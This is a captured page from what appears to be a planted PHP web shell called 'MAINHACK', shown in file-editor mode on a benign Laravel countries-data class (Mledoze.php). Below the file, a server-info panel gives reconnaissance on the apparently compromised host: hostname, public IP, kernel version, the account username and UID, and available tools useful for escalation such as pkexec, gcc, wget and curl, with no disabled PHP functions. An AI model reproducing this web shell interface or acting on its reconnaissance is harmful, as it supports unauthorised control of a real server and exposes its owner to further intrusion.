[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Mledoze.php
<?php namespace PragmaRX\Countries\Update; use PragmaRX\Coollection\Package\Coollection; use PragmaRX\Countries\Package\Support\Base; class Mledoze extends Base { /** * @var Helper */ protected $helper; /** * @var Updater */ protected $updater; /** * @var Natural */ private $natural; /** * Rinvex constructor. * * @param Helper $helper * @param Natural $natural * @param Updater $updater */ public function __construct(Helper $helper, Natural $natural, Updater $updater) { $this->helper = $helper; $this->updater = $updater; $this->natural = $natural; } /** * @return Coollection */ public function loadMledozeCountries() { $mledoze = coollect($this->helper->loadJson('countries', 'third-party/mledoze/dist'))->mapWithKeys(function ( $country ) { $country = $this->updater->addDataSource($country, 'mledoze'); $country = $this->updater->addRecordType($country, 'country'); return [$country['cca3'] => $country]; }); return $mledoze; } /** * Fill mledoze fields with natural earth vector data. * * @param $fields * @return mixed */ public function fillMledozeFields($fields) { $fields['name_nev'] = $fields['name']; $fields['name'] = [ 'common' => $fields['name'], 'official' => $fields['formal_en'], ]; $fields['cca2'] = $fields['iso_a2'] == '-99' ? $fields['adm0_a3'] : $fields['iso_a2']; $fields['ccn3'] = $fields['iso_n3'] == '-99' ? $fields['adm0_a3'] : $fields['iso_a2']; $fields['cca3'] = $fields['iso_a3'] == '-99' ? $fields['adm0_a3'] : $fields['iso_a2']; $fields['region'] = $fields['region_un']; $fields['borders'] = []; $fields['curencies'] = []; $fields['notes'] = ['Incomplete record due to missing mledoze country.']; return $fields; } /** * Find a mledoze country from natural earth vector data. * * @param Coollection $mledoze * @param Coollection $natural * @return array */ public function findMledozeCountry($mledoze, $natural) { [$country, $countryCode] = $this->updater->findCountryByAnyField($mledoze, $natural); if (! $country->isEmpty()) { return [coollect($this->helper->arrayKeysSnakeRecursive($country)), $countryCode]; } return [coollect(), $countryCode]; } private function makeFlag($result) { if (isset($result['flag']) && is_string($result['flag'])) { $result['flag'] = ['emoji' => $result['flag']]; } return $result; } /** * Merge the two countries sources. * * @param \PragmaRX\Coollection\Package\Coollection $mledoze * @param \PragmaRX\Coollection\Package\Coollection $natural * @param string $suffix * @return mixed */ public function mergeWithMledoze($mledoze, $natural, $suffix = '_nev') { if ($mledoze->isEmpty() || $natural->isEmpty()) { return $mledoze->isEmpty() ? $this->fillMledozeFields($natural) : $this->natural->fillNaturalFields($mledoze); } $result = []; foreach ($mledoze->keys()->merge($natural->keys()) as $key) { $naturalValue = $natural->get($key); $mledozeValue = $mledoze->get($key); if (is_null($naturalValue) || is_null($mledozeValue)) { $result[$key] = $mledozeValue ?: $naturalValue; continue; } if ($key == 'data_sources') { $result[$key] = $mledozeValue->merge($naturalValue); continue; } if ($mledozeValue !== $naturalValue) { $result[$key.$suffix] = $naturalValue; // Natural Earth Vector } $result[$key] = $mledozeValue; // Natural Earth Vector } $result = $this->makeFlag($result); return coollect($result)->sortBy(function ($value, $key) { return $key; }); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002